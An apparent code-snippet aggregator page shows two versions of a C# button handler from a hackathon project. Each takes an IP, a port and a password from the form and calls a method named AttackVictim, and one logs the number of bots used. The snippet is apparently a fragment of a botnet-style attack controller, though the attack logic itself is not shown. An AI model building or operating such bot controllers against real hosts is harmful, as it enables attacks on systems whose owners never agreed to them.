예제 #1
0
파일: Form1.cs 프로젝트: YR23/Hackaton
        private void button4_Click(object sender, EventArgs e)
        {
            byte[] ip = new byte[4];
            ip = IPAddress.Parse(IpTextBox.Text).GetAddressBytes();
            byte[] port    = new byte[2];
            int    portnum = Int32.Parse(PortTextBox.Text);

            port = BitConverter.GetBytes(portnum);
            Udpshob.AttackVictim(ip, port, Encoding.UTF8.GetBytes(PassTextBox.Text));
        }
예제 #2
0
        private void button4_Click(object sender, EventArgs e)
        {
            byte[] ip = new byte[4];
            ip = IPAddress.Parse(IpTextBox.Text).GetAddressBytes();
            byte[] port    = new byte[2];
            int    portnum = Int32.Parse(PortTextBox.Text);

            port = BitConverter.GetBytes(portnum);
            UpdateMessageBox("Attacking victim on IP, " + ip.ToString() + " on Port " + portnum + " With " + Udpshob.MyBots.Count + " bots");
            Udpshob.AttackVictim(ip, port, Encoding.UTF8.GetBytes(PassTextBox.Text));
        }